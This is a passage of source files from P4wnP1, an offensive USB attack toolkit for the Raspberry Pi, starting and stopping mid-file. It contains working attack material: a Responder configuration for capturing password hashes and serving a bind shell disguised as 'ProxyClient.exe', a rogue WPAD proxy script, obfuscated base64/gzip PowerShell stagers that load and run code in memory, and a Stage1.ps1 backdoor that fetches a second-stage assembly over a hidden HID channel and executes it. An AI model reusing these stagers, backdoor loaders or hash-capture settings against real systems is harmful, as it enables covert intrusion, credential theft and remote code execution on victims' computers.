51 | 52 | ; If set to On, we will stop answering further requests from a host 53 | ; if a hash hash been previously captured for this host. 54 | AutoIgnoreAfterSuccess = Off 55 | 56 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 57 | ; to authenticate for the first time to try to get different credentials. 58 | ; This may break file serving and is useful only for hash capture 59 | CaptureMultipleCredentials = Off 60 | 61 | ; If set to On, we will write to file all hashes captured from the same host. 62 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 63 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 64 | CaptureMultipleHashFromSameHost = Off 65 | 66 | 67 | [HTTP Server] 68 | 69 | ; Set to On to always serve the custom EXE 70 | Serve-Always = Off 71 | 72 | ; Set to On to replace any requested .exe with the custom EXE 73 | Serve-Exe = Off 74 | 75 | ; Set to On to serve the custom HTML if the URL does not contain .exe 76 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 77 | Serve-Html = On 78 | 79 | ; Set to On to answer connection tests to "http://www.msftncsi.com/ncsi.txt" (Win 7, tested) and 80 | ; to "http://www.msftconnecttest.com/connecttest.txt" while serving the custom HTML (Serve-Html = on) 81 | Serve-Html-Simulate-Internet = On 82 | 83 | ; Set to On to answer connection tests to "http://*/wpad.dat" with custom 'WPADScript' or force auth 84 | ; on wpad.dat if '-F on' command line parameter is given 85 | Serve-Html-Provide-WPAD-anyway = On 86 | 87 | ; Custom HTML to serve 88 | HtmlFilename = /var/www/index.html 89 | 90 | ; Custom EXE File to serve 91 | ExeFilename = files/BindShell.exe 92 | 93 | ; Name of the downloaded .exe that the client will see 94 | ExeDownloadName = ProxyClient.exe 95 | 96 | ; Custom WPAD Script 97 | ; redirect to authtome:3128, failover direct 98 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || (host == "10.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY authtome:3128; DIRECT";} 99 | 100 | ; HTML answer to inject in HTTP responses (before tag). 101 | ; Set to an empty string to disable. 102 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. 103 | HTMLToInject = Loading 104 | 105 | [HTTPS Server] 106 | 107 | ; Configure SSL Certificates to use 108 | SSLCert = certs/responder.crt 109 | SSLKey = certs/responder.key 110 | -------------------------------------------------------------------------------- /boot/init_wifi_nexmon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # 23 | # Provides functionality to exchange the WiFi driver + firmware with 24 | # binaries from the Nexmon in order to provide capabilities for 25 | # frame injection and monitor mode (with radiotap header support). 26 | # 27 | # The needed binaries are precompiled and currently only Kernel 4.9.51+ is supported 28 | # 29 | # Nexmon by [@seemoo-lab](https://github.com/seemoo-lab) (NexMon Team) is licensed under GNU General Public License v3.0. The sources used to compile could be found here: 30 | # https://github.com/seemoo-lab/nexmon/tree/917ee86913ba2826e9525e08929937bf764822b8 31 | 32 | 33 | 34 | nexmondir="$wdir/nexmon" 35 | 36 | # check for wifi capability 37 | function check_wifi() 38 | { 39 | if $wdir/wifi/check_wifi.sh; then WIFI=true; else WIFI=false; fi 40 | } 41 | 42 | function validate_nexmon_version() 43 | { 44 | if [ "$(cat $nexmondir/kernel_release 2>/dev/null)" == "$(uname -r)" ]; then return 0; else return 1; fi 45 | } 46 | 47 | 48 | function WIFI_activate_nexmon() 49 | { 50 | if ! validate_nexmon_version; then 51 | echo "Installed nexmon version doesn't fit kernel release $(uname -r)" 52 | return 1 53 | fi 54 | 55 | #backup-firmware (not realy needed as backup firmware is shipped with nexmon additions) 56 | # if [ ! -f brcmfmac43430-sdio.bin.orig ]; then 57 | # printf "\033[0;31m BACKUP\033[0m of brcmfmac43430-sdio.bin written to $(pwd)/brcmfmac43430-sdio.bin.orig\n" 58 | # sudo cp /lib/firmware/brcm/brcmfmac43430-sdio.bin $nexmondir/brcmfmac43430-sdio.bin.orig 59 | # fi 60 | 61 | #install-firmware: brcmfmac43430-sdio.bin brcmfmac.ko 62 | printf "\033[0;31m COPYING\033[0m brcmfmac43430-sdio.bin => /lib/firmware/brcm/brcmfmac43430-sdio.bin\n" 63 | sudo cp $nexmondir/brcmfmac43430-sdio.bin /lib/firmware/brcm/brcmfmac43430-sdio.bin 64 | 65 | if [ $(lsmod | grep "^brcmfmac" | wc -l) == "1" ] 66 | then 67 | printf "\033[0;31m UNLOADING\033[0m brcmfmac\n" 68 | sudo rmmod brcmfmac 69 | fi 70 | 71 | sudo modprobe brcmutil 72 | printf "\033[0;31m RELOADING\033[0m brcmfmac\n" 73 | 74 | sudo insmod $nexmondir/brcmfmac.ko 75 | 76 | # activate dual interface mode 77 | sleep 1 78 | # sudo $nexmondir/nexutil -m7 # The nexmon master has been updated with to support dual interface without -m7 79 | 80 | 81 | sleep 2 82 | if $WIFI_NEXMON_BRING_UP_MONITOR_FIRST; then 83 | # activate the monitor interface, in order to avoid that legacy hostapd uses it (wouldn't work) 84 | # so this is a dirty hack to let legacy hostapd run on nexmon 85 | 86 | sudo $nexmondir/airmon-ng start wlan0 87 | fi 88 | } 89 | 90 | function WIFI_activate_legacy() 91 | { 92 | if ! validate_nexmon_version; then 93 | echo "Installed nexmon version doesn't fit kernel release $(uname -r)" 94 | return 1 95 | fi 96 | 97 | printf "\033[0;31m COPYING\033[0m brcmfmac43430-sdio.bin.backup => /lib/firmware/brcm/brcmfmac43430-sdio.bin\n" 98 | sudo cp $nexmondir/brcmfmac43430-sdio.bin.backup /lib/firmware/brcm/brcmfmac43430-sdio.bin 99 | 100 | if [ $(lsmod | grep "^brcmfmac" | wc -l) == "1" ] 101 | then 102 | printf "\033[0;31m UNLOADING\033[0m brcmfmac\n" 103 | sudo rmmod brcmfmac 104 | fi 105 | 106 | sudo modprobe brcmutil 107 | printf "\033[0;31m RELOADING\033[0m brcmfmac\n" 108 | 109 | sudo insmod /lib/modules/$(uname -r)/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac/brcmfmac.ko 110 | } 111 | 112 | -------------------------------------------------------------------------------- /hidtools/backdoor/StageHelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # Author: Marcus Mengs (MaMe82) 23 | 24 | class StageHelper: 25 | @staticmethod 26 | def out_PS_SetWindowPos(x = -400, y = -400, cx = 100, cy = 100, flags = 0x4000+0x04): 27 | swpos = '$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios (2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,{0},{1},{2},{3},{4})'.format(x, y, cx, cy, flags) 28 | return swpos 29 | 30 | @staticmethod 31 | def gzipstream(data): 32 | import zlib 33 | gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS + 16) # compatible to Windows GZipStream 34 | gzip_data = gzip_compress.compress(data) + gzip_compress.flush() 35 | return gzip_data 36 | 37 | @staticmethod 38 | def b64encode(data): 39 | import base64 40 | return base64.b64encode(data) 41 | 42 | @staticmethod 43 | def b64gzip(data): 44 | return StageHelper.b64encode(StageHelper.gzipstream(data)) 45 | 46 | @staticmethod 47 | def out_PS_IEX_Invoker(ps_script): 48 | b64 = StageHelper.b64gzip(ps_script) 49 | return "$b='{0}';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()".format(b64) 50 | 51 | @staticmethod 52 | def out_PS_var_bytearray(rawdata, varname): 53 | b64 = StageHelper.b64gzip(rawdata) 54 | # not NET 2.0 compatible 55 | #return "$b='{0}';nal no New-Object -F;$ms=no IO.MemoryStream ;(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress)).CopyTo($ms);${1}=$ms.ToArray()".format(b64,varname) 56 | return "$b='" + b64 + "';nal no New-Object -F;$g=(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress));$bs=@();while($true){$b=$g.ReadByte();if($b -eq -1){break;};$bs+=$b};$" + varname + "=[byte[]]$bs" 57 | 58 | @staticmethod 59 | def out_PS_assembly_loader(rawdata): 60 | b64 = StageHelper.b64gzip(rawdata) 61 | # not NET 2.0 compatible 62 | #return "$b='{0}';nal no New-Object -F;$ms=no IO.MemoryStream ;(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress)).CopyTo($ms);[System.Reflection.Assembly]::Load($ms.ToArray())".format(b64) 63 | return "$b='" + b64 + "';nal no New-Object -F;$g=(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress));$bs=@();while($true){$b=$g.ReadByte();if($b -eq -1){break;};$bs+=$b};[System.Reflection.Assembly]::Load([byte[]]$bs)" 64 | 65 | 66 | @staticmethod 67 | def out_PS_var_string(rawdata, varname): 68 | b64 = StageHelper.b64gzip(rawdata) 69 | return "$b='{0}';nal no New-Object -F;${1}=(no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()".format(b64, varname) 70 | 71 | @staticmethod 72 | def out_PS_Stage1_invoker(filename): 73 | data = None 74 | with open(filename, "rb") as f: 75 | data=f.read() 76 | 77 | return StageHelper.out_PS_assembly_loader(data)+";[Stage1.Device]::Stage2DownExec('deadbeefdeadbeef','MaMe82')" 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | #out = "$b='{0}';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()".format(b64) 86 | #out = "$b='{0}';nal no New-Object -F;$res=(no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()".format(b64) 87 | 88 | -------------------------------------------------------------------------------- /hidtools/backdoor/Stage1.ps1: -------------------------------------------------------------------------------- 1 | 2 | if (-not $USB_VID) {$USB_VID="1D6B"} 3 | if (-not $USB_PID) {$USB_PID="0437"} 4 | function ReflectCreateFileMethod() 5 | { 6 | $dom = [AppDomain]::CurrentDomain 7 | $da = New-Object Reflection.AssemblyName("MaMe82DynAssembly") 8 | $ab = $dom.DefineDynamicAssembly($da, [Reflection.Emit.AssemblyBuilderAccess]::Run) 9 | $mb = $ab.DefineDynamicModule("MaMe82DynModule", $False) 10 | $tb = $mb.DefineType("MaMe82", "Public, Class") 11 | $cfm = $tb.DefineMethod("CreateFile", [Reflection.MethodAttributes] "Public, Static", [IntPtr], [Type[]] @([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr] )) 12 | $cdi = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 13 | $cfa = [Reflection.FieldInfo[]] @([Runtime.InteropServices.DllImportAttribute].GetField("EntryPoint"), [Runtime.InteropServices.DllImportAttribute].GetField("PreserveSig"), 14 | [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError"), [Runtime.InteropServices.DllImportAttribute].GetField("CallingConvention"), 15 | [Runtime.InteropServices.DllImportAttribute].GetField("CharSet")) 16 | $cffva = [Object[]] @("CreateFile", $True, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) 17 | $cfca = New-Object Reflection.Emit.CustomAttributeBuilder($cdi, @("kernel32.dll"), $cfa, $cffva) 18 | $cfm.SetCustomAttribute($cfca) 19 | $tb.CreateType() 20 | } 21 | function CreateFileStreamFromDevicePath($mmcl, [String] $path) 22 | { 23 | $h = $mmcl::CreateFile($path, [Int32]0XC0000000, [IO.FileAccess]::ReadWrite, [IntPtr]::Zero, [IO.FileMode]::Open, [UInt32]0x40000000, [IntPtr]::Zero) 24 | $a = $h, [Boolean]0 25 | $c=[Microsoft.Win32.SafeHandles.SafeFileHandle].GetConstructors()[0] 26 | $h = $c.Invoke($a) 27 | $fa=[IO.FileAccess]::ReadWrite 28 | $a=$h, $fa, [Int32]64, [Boolean]1 29 | $c=[IO.FileStream].GetConstructors()[14] 30 | return $c.Invoke($a) 31 | } 32 | function GetDevicePath($USB_VID, $USB_PID) 33 | { 34 | $HIDGuid="{4d1e55b2-f16f-11cf-88cb-001111000030}" 35 | foreach ($wmidev in gwmi Win32_USBControllerDevice |%{[wmi]($_.Dependent)} ) { 36 | if ($wmidev.DeviceID -match ("$USB_VID" + '&PID_' + "$USB_PID") -and $wmidev.DeviceID -match ('HID') -and -not $wmidev.Service) { 37 | $devpath = "\\?\" + $wmidev.PNPDeviceID.Replace('\','#') + "#" + $HIDGuid 38 | } 39 | } 40 | $devpath 41 | } 42 | function RequestStage2 ($HIDin, $HIDout) { 43 | $connect_req = New-Object Byte[] (65) 44 | $response = New-Object Byte[] (65) 45 | $connect_req[2] = $connect_req[2] -bor 128 46 | [Console]::WriteLine("Stage1: Starting connection synchronization..") 47 | $connected = $false 48 | while (-not $connected) 49 | { 50 | $HIDout.Write($connect_req, 0, 65) 51 | [Console]::WriteLine("Stage1: Connect request sent") 52 | $cr = $HIDin.Read($response, 0, 65) 53 | $SEQ = $response[2] -band 63 54 | $CONNECT_BIT = $response[2] -band 128 55 | if ($CONNECT_BIT) 56 | { 57 | [Console]::WriteLine("Satge1: Synced to SEQ number {0}" -f $SEQ) 58 | $connect_req[2] = $connect_req[2] -bor $SEQ 59 | $HIDout.Write($connect_req, 0, 65) 60 | break 61 | } 62 | } 63 | $cr = $HIDin.Read($response, 0, 65) 64 | $SEQ = $response[2] -band 63 65 | $ACK = $SEQ 66 | $CTRL_CHANNEL = [BitConverter]::GetBytes([uint32] 0) 67 | $CTRL_MSG_STAGE2_REQUEST = [BitConverter]::GetBytes([uint32] 1) 68 | if ([System.BitConverter]::IsLittleEndian) {[array]::Reverse($CTRL_MSG_STAGE2_REQUEST) } 69 | $payload = $CTRL_CHANNEL + $CTRL_MSG_STAGE2_REQUEST 70 | $LEN = $payload.Length 71 | $FIN_BIT = 128 72 | $stage2request = [Byte[]](0, ($LEN -bor $FIN_BIT), $ACK) + $payload + (New-Object byte[] (62 - $LEN)) 73 | $HIDout.Write($stage2request, 0, 65) 74 | $stage2 = $null 75 | $STREAM_TYPE_STAGE2_RESPONSE = [uint32] 1000 76 | while ($true) 77 | { 78 | $cr = $HIDin.Read($response, 0, 65) 79 | $SEQ = $response[2] -band 63 80 | $LEN = $response[1] -band 63 81 | if ($LEN -gt 0) 82 | { 83 | if ($stage2 -eq $null) 84 | { 85 | $channel = $response[3..6] 86 | $MSG_TYPE = $response[7..10] 87 | if ([BitConverter]::IsLittleEndian) { [array]::Reverse($channel); [array]::Reverse($MSG_TYPE) } 88 | $channel = [BitConverter]::ToUInt32($channel, 0) 89 | $MSG_TYPE = [BitConverter]::ToUInt32($MSG_TYPE, 0) 90 | $host.UI.WriteLine("Stage 1: CTRL MSG Type {0}" -f $MSG_TYPE) 91 | if (($channel -eq [Uint32]0) -and ($MSG_TYPE -eq $STREAM_TYPE_STAGE2_RESPONSE)) 92 | { 93 | $stage2 = $response[11..(2+$LEN)] 94 | } 95 | } 96 | else 97 | { 98 | $stage2 += $response[3..(2+$LEN)] 99 | $host.UI.Write(".") 100 | } 101 | $FIN_BIT = $response[1] -band 128 102 | if ($FIN_BIT -and $stage2 -ne $null) { break } 103 | } 104 | $request = New-Object Byte[] 65 105 | $ACK = $SEQ 106 | $request[2] = $ACK 107 | $HIDout.Write($request, 0, 65) 108 | } 109 | return [byte[]] $stage2 110 | } 111 | $mmcl = ReflectCreateFileMethod 112 | $path= GetDevicePath $USB_VID $USB_PID 113 | $dev = CreateFileStreamFromDevicePath $mmcl $path 114 | $stage2 = RequestStage2 $dev $dev 115 | [System.Reflection.Assembly]::Load([byte[]]$stage2) 116 | [P4wnP1.Runner]::run($dev, $dev) 117 | 118 | -------------------------------------------------------------------------------- /payloads/template.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 payload Template by MaMe82 21 | # ========================== 22 | # Empty payload starting all USB functions 23 | # - USB Mass storage 24 | # - CDC ECM device (Linux ethernet over USB) 25 | # - RNDIS device (Windows ethernet over USB) 26 | # - USB keyboard 27 | 28 | # ============================= 29 | # USB setup 30 | # ============================= 31 | # Make sure to change USB_PID if you enable different USB functionality in order 32 | # to force Windows to enumerate the device again 33 | USB_VID="0x1d6b" # Vendor ID 34 | USB_PID="0x0106" # Product ID 35 | 36 | USE_ECM=true # if true CDC ECM will be enabled (Ethernet over USB for Windows) 37 | USE_RNDIS=true # if true RNDIS will be enabled (Ethernet over USB for macOS/Linux) 38 | USE_HID=true # if true HID keyboard will be enabled (USB keyboard attacks) 39 | USE_UMS=true # if true USB Mass Storage will be enabled 40 | USE_RAWHID=true # if true HID raw device will be enabled (used by HID covert channel payloads) 41 | 42 | 43 | # ========================== 44 | # Network and DHCP options for Ethernet over USB 45 | # ========================== 46 | 47 | # We choose an IP with a very small subnet (see comments in README.rst) 48 | IF_IP="172.16.0.1" # IP used by P4wnP1 49 | IF_MASK="255.255.255.252" 50 | IF_DHCP_RANGE="172.16.0.2,172.16.0.3" # DHCP Server IP Range 51 | 52 | # ============================ 53 | # Network and DHCP options for WiFi (Pi Zero W with "wlan0" present) 54 | # ============================ 55 | WIFI_ACCESSPOINT=true 56 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 57 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 58 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 59 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 60 | 61 | 62 | 63 | # ===================== 64 | # Keyboard config 65 | # ===================== 66 | # Keyboard language for outhid and duckhid commands 67 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi", "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us" 68 | lang="us" 69 | 70 | 71 | # This function gets called after the target host enables the network interface 72 | # (RNDIS, CDC ECM or both have to be enabled) 73 | function onNetworkUp() 74 | { 75 | # commands in this callback function are ran as root 76 | # 77 | # available variables: 78 | # $IF_IP: IP used by P4wnP1 79 | # $IF_MASK: Netmask used by P4wnP1 80 | # $IF_DHCP_RANGE: P4wnP1 DHCP Server IP Range 81 | # $active_interface: Internal network interface in use by P4wnP1 (usb0, usb1 or none) 82 | # $wdir: Absolute path to P4wnP1 main directory 83 | # 84 | # available commands: 85 | # outhid 86 | # Pipe ASCII into this command to output via HID keyboard on target 87 | # The output keyboard layout is derived from the "lang" option (Keyboard config) 88 | # Note: A newline character (ASCII 0x0A) is interpreted as RETURN key 89 | # outhid only works if USE_HID=true 90 | # 91 | # Example: echo "Hello World | outhid" 92 | # 93 | # duckhid 94 | # Pipe DuckyScript into this command to output via HID keyboard on target 95 | # The output keyboard layout is derived from the "lang" option (Keyboard config) 96 | # duckhid only works if USE_HID=true 97 | # 98 | # Example (starting notepad, indents only for readability): 99 | # cat << EOF | duckhid 100 | # DELAY 500 101 | # GUI r 102 | # DELAY 500 103 | # STRING notepad.exe 104 | # ENTER 105 | # EOF 106 | 107 | } 108 | 109 | # this function gets called if the target host received a DHCP lease 110 | # (DHCP client has to be running on target) 111 | function onTargetGotIP() 112 | { 113 | # commands in this callback function are ran as root 114 | # 115 | # available variables: 116 | # same as onNetworkUp() 117 | # 118 | # additional variables: 119 | # $target_ip: The IP the target host received via its DHCP lease 120 | # 121 | # available commands: 122 | # same as onNetworkUp() 123 | 124 | } 125 | 126 | # this function gets called after P4wnP1 finished booting 127 | # Caution: This doesn't necessarily mean that "onNetworkUp" or "onTargetGotIP" 128 | # have already been called 129 | function onBootFinished() 130 | { 131 | # commands in this callback function are ran as user root 132 | } 133 | 134 | # commands in this function are ran if the user pi logs in (SSH or local) 135 | function onLogin() 136 | { 137 | # commands in this callback function are ran as user pi 138 | } 139 | 140 | # this function gets called if the target is done installing the driver for the HID keyboard 141 | # (USE_HID and HID_KEYBOARD_TEST have to be set to "true") 142 | function onKeyboardUp() 143 | { 144 | # commands in this callback function are ran as user root 145 | } 146 | -------------------------------------------------------------------------------- /hidtools/mouse/hid_mouse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | import struct 21 | import sys 22 | 23 | class hid_mouse(object) : 24 | def __init__(self, absolute=False, outfile="/dev/hidg2"): 25 | self.button1 = False 26 | self.button2 = False 27 | self.button3 = False 28 | self._x_abs = 0.0 29 | self._y_abs = 0.0 30 | self.outf = outfile 31 | self._abs = absolute 32 | self.bleft = 0 33 | self.bright = 32767 34 | self.btop = 0 35 | self.bbottom = 32767 36 | self._x_abs_short = self.bleft 37 | self._y_abs_short = self.btop 38 | self._x_rel = 0 39 | self._y_rel = 0 40 | 41 | @property 42 | def x_rel(self): 43 | return self._x_rel 44 | 45 | @x_rel.setter 46 | def x_rel(self, value): 47 | # in case the last coordinate change was relative, we disable absolute mode 48 | self._abs = False 49 | 50 | self._x_rel = value 51 | 52 | @property 53 | def y_rel(self): 54 | return self._y_rel 55 | 56 | @y_rel.setter 57 | def y_rel(self, value): 58 | # in case the last coordinate change was relative, we disable absolute mode 59 | self._abs = False 60 | 61 | self._y_rel = value 62 | 63 | @property 64 | def x_abs(self): 65 | return self._x_abs 66 | 67 | @x_abs.setter 68 | def x_abs(self, value): 69 | # in case the last coordinate change was absolute, we enable absolute mode 70 | self._abs = True 71 | 72 | self._x_abs = self.clamp_float(value) 73 | self._x_abs_short = self.scaled_short(self._x_abs, self.bleft, self.bright) 74 | 75 | @property 76 | def y_abs(self): 77 | return self._y_abs 78 | 79 | @y_abs.setter 80 | def y_abs(self, value): 81 | # in case the last coordinate change was absolute, we enable absolute mode 82 | self._abs = True 83 | 84 | self._y_abs = self.clamp_float(value) 85 | self._y_abs_short = self.scaled_short(self._y_abs, self.btop, self.bbottom) 86 | 87 | def clamp_float(self, val): 88 | return min(max(0.0, val), 1.0) 89 | 90 | def scaled_short(self, val, lower, upper): 91 | #print "val {0}".format(val) 92 | lower = min(max(-32768, lower), 32767) 93 | upper = min(max(-32768, upper), 32767) 94 | val = self.clamp_float(val) 95 | 96 | dim = upper - lower 97 | 98 | #print "dim {0}".format(dim) 99 | scaled = int(lower + val*dim) 100 | #print "clamped val {0} scaled {1}".format(val, scaled) 101 | return scaled 102 | 103 | def gen_out_report_abs(self): 104 | #xout = hid_mouse.convert_pos_short(self._x_abs) 105 | xout = struct.pack(". 20 | 21 | 22 | from pydispatch import dispatcher 23 | from LinkLayer import LinkLayer 24 | from threading import current_thread 25 | import Queue 26 | 27 | class TransportLayer(): 28 | """ 29 | Interfaces with LinkLayer via pydispatcher 30 | """ 31 | 32 | DEBUG = False 33 | 34 | 35 | #SIGNAL_LINKLAYER_STARTED = "LinkLayerStarted" 36 | #SIGNAL_LINKLAYER_SYNCING = "LinkLayerSyncing" 37 | #SIGNAL_LINKLAYER_SYNCED = "LinkLayerSynced" 38 | #SIGNAL_LINKLAYER_CONNECTION_RESET = "LinkLayerConnectionReset" 39 | #SIGNAL_LINKLAYER_CONNECTION_ESTABLISHED = "LinkLayerConnectionEstablished" 40 | #SIGNAL_LINKLAYER_CONNECTION_TIMEOUT = "LinkLayerConnectionTimeout" 41 | #SIGNAL_LINKLAYER_STOPPING = "LinkLayerStopping" 42 | #SIGNAL_LINKLAYER_STOPPED = "LinkLayerStopped" 43 | #SIGNAL_LINKLAYER_STREAM_ENQUEUED = "LinkLayerStreamEnqueued" 44 | 45 | TRANSPORTLAYER_SENDER_NAME_DOWN = "TransportLayer" 46 | TRANSPORTLAYER_SENDER_NAME_UP = "TransportLayerUp" 47 | SIGNAL_TRANSPORTLAYER_SEND_STREAM = "TransportLayerSendStream" 48 | SIGNAL_TRANSPORTLAYER_CLIENT_CONNECTED_LINKLAYER = "TransportLayerClientConnectedLinkLayer" 49 | SIGNAL_TRANSPORTLAYER_WAITING_FOR_CLIENT_LINKLAYER = "TransportLayerWaitingForClient" 50 | SIGNAL_TRANSPORTLAYER_CONNECTION_RESET_LINKLAYER = "TransportLayerConnectionResetLinkLayer" 51 | SIGNAL_TRANSPORTLAYER_CONNECTION_TIMEOUT_LINKLAYER = "TransportLayerConnectionTimeoutLinkLayer" 52 | 53 | def __init__(self): 54 | # create queue for incoming streams to decouple processing from link layer reader thread 55 | self.stream_in_queue = Queue.Queue() 56 | 57 | # register Listener for LinkLayer signals 58 | dispatcher.connect(self.handle_link_layer, sender="LinkLayer") 59 | 60 | def write_stream(self, stream): 61 | self.__write_raw_stream(stream) 62 | 63 | def __write_raw_stream(self, stream): 64 | # should keep track of LinkLayer's output queue size (needs additional dispatcher messages) 65 | dispatcher.send(data = stream, signal = TransportLayer.SIGNAL_TRANSPORTLAYER_SEND_STREAM, sender = TransportLayer.TRANSPORTLAYER_SENDER_NAME_DOWN) 66 | 67 | def data_available(self): 68 | return self.stream_in_queue.qsize() 69 | 70 | def pop_input_stream(self): 71 | return self.stream_in_queue.get() 72 | 73 | @staticmethod 74 | def print_debug(str): 75 | if TransportLayer.DEBUG: 76 | print "TransportLayer (DEBUG): {}".format(str) 77 | 78 | # loose definition of LinkLayer handler, data argument has to be produced by LinkLayer 79 | def handle_link_layer(self, signal, data): 80 | 81 | if signal == LinkLayer.SIGNAL_LINKLAYER_STREAM_RECEIVED: 82 | # enqueue stream data 83 | #print "TransportLayer: stream from LinkLayer enqueued (Thread: " + current_thread().getName() + ")" 84 | self.stream_in_queue.put(data) 85 | elif signal == LinkLayer.SIGNAL_LINKLAYER_CONNECTION_RESET: 86 | TransportLayer.print_debug("Received connection reset") 87 | dispatcher.send(data = "Connection reset from from client received via LinkLayer", signal = TransportLayer.SIGNAL_TRANSPORTLAYER_CONNECTION_RESET_LINKLAYER, sender = TransportLayer.TRANSPORTLAYER_SENDER_NAME_UP) 88 | elif signal == LinkLayer.SIGNAL_LINKLAYER_SYNCING: 89 | #print "TransportLayer: Waiting for client connection via HID..." 90 | dispatcher.send(data = "Waiting for Client conection to LinkLayer via HID", signal = TransportLayer.SIGNAL_TRANSPORTLAYER_WAITING_FOR_CLIENT_LINKLAYER, sender = TransportLayer.TRANSPORTLAYER_SENDER_NAME_UP) 91 | elif signal == LinkLayer.SIGNAL_LINKLAYER_SYNCED: 92 | # fire event 93 | dispatcher.send(data = "Client connected via HID to LinkLayer", signal = TransportLayer.SIGNAL_TRANSPORTLAYER_CLIENT_CONNECTED_LINKLAYER, sender = TransportLayer.TRANSPORTLAYER_SENDER_NAME_UP) 94 | elif signal == LinkLayer.SIGNAL_LINKLAYER_CONNECTION_TIMEOUT: 95 | # no client data received for 100 ms, send connection timeout to upper layer 96 | dispatcher.send(data = data, signal = 